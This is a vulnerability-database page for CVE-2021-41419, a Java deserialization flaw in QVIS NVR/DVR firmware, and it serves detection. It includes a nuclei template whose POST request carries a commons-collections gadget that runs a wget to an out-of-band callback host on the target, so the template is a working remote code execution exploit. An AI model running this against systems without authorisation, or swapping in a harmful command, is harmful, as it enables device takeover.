HexBrain

Browse / CVEs / CVE-2021-41419

CVE-2021-41419· qvis / dvr firmware· CWE-502

QVIS NVR/DVR - Remote Code Execution

criticalseverity
9.8CVSS score
9.2%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java deserialization.

Impact

Attackers can execute arbitrary code remotely, potentially leading to full system compromise.

Fix

Update to the latest version or apply security patches provided by the vendor.

How to confirm it

Send: GET /qvisdvr/ ; POST /qvisdvr/index.faces;jsessionid={{token}}
Positive when: contains in interactsh_protocol "http" AND status 500

Run it with nuclei: nuclei -id CVE-2021-41419 -u <target>

The full check
id: CVE-2021-41419

info:
  name: QVIS NVR/DVR - Remote Code Execution
  author: me9187
  severity: critical
  description: |
    QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java deserialization.
  impact: |
    Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: |
    Update to the latest version or apply security patches provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41419
    - https://gist.github.com/Meeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee/712ac36c8a08e2698e875169442a23a4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41419
    cwe-id: CWE-502
    epss-score: 0.09191
    epss-percentile: 0.95374
    cpe: cpe:2.3:o:qvis:dvr_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: qvis
    product: dvr_firmware
  tags: cve,cve2021,qvisdvr,rce,deserialization,jsf,iot,oast,vkev,vuln

http:
  - raw:
      - |
        GET /qvisdvr/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

    extractors:
      - type: regex
        name: token
        group: 1
        internal: true
        part: header
        regex:
          - "JSESSIONID=(.*)"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from